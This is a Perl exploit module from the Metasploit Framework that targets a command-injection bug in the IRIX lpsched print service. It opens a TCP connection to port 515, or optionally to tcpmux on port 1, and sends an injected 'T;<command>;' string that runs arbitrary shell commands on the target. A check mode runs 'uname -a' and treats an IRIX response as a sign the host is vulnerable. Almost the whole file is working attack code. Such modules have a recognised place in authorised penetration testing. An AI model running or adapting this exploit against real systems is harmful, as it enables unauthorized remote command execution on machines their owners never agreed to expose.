
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::irix_lpsched_exec;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = {};

my $info = {
    'Name'    => 'IRIX lpsched Command Execution',
    'Version'  => '$Revision: 1.4 $',
    'Authors'  => ['Optyx <optyx [at] uberhax0r.net>',
                   'LSD <http://www.lsd-pl.net>'],
    'Arch'    => [],
    'OS'      => ['irix'],
    'Priv'    => 1,
    'Payload' => {
        'Space'    => 4096,
        'Keys'     => ['cmd'],        
    },

    'UserOpts' => {
        'RHOST'  => [1, 'ADDR', 'The target address'],
        'RPORT'  => [1, 'PORT', 'The lpsched target port', 515],
	    'TCPMUX' => [0, 'BOOL', 'Use tcpmux to indirectly exploit', 0],
    },

    'Description' => Pex::Text::Freeform(qq{
      This is YASGIPB (yet another SGI popen bug). This exploit requires 
      the ability to bind to a privileged TCP port (less than 1024). On 
      most Unix systems, this is only possible when you are running as 
      the root user.
    }),
    
    'Refs' =>
        [
            ['URL',   'http://www.lsd-pl.net/code/IRIX/irx_lpsched.c'],
        ],

    'DefaultTarget' => 0,
    'Targets' => [["No Target Needed"]],
    'Keys'  => ['lpd'],    
};

sub new {
    my $class = shift;
    my $self  =
      $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return ($self);
}

sub Check {
    my $self = shift;
    $self->LPDSchedQuery(1);
}

sub Exploit {
    my $self = shift;
    $self->LPDSchedQuery;
}

sub LPDSchedQuery {
    my $self           = shift;
    my $check          = shift;
    my $target_host    = $self->GetVar('RHOST');
    my $target_port    = $self->GetVar('RPORT');
    my $target_tcpmux  = $self->GetVar('TCPMUX');
    my $encodedPayload = $self->GetVar('EncodedPayload');
    my $command        = $check ? "uname -a;" : $encodedPayload->RawPayload;
    my $s;
    
    # The TCPMUX service is always on port 1
    if ($target_tcpmux) {
        $target_port = 1;
    }
    
    $s = Msf::Socket::Tcp->new
    (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
    );
        
    if ($s->IsError) {
        $self->PrintLine("[*] Error creating socket: ".$s->GetError);
        return $check ? $self->CheckCode('Connect') : undef;
    }
    
    if ($target_tcpmux) {
        $s->Send("sgi_printer\n");
        $s->Recv(-1, 30);
    }
    
    $self->PrintLine("[*] Executing command '$command'");
    $s->Send("T;".$command.";\n");
    
    if ($check) {
        
        my $res = $s->Recv(-1, 5);
        $s->Close;
        
        if ($res =~ /IRIX/) {
            $self->PrintLine("[*] Vulnerable system detected");
            return $self->CheckCode('Confirmed');
        }
        else {
            $self->PrintLine("[*] This system does not appear to be vulnerable");
            return $self->CheckCode('Safe');
        }
    }
    
    # XXX what response does a patched system give?
    
    # XXX can we close the socket without killing any running command?
    # $s->Close;
    
    # XXX should we do one more recv and print the response?
    return;
}

1;
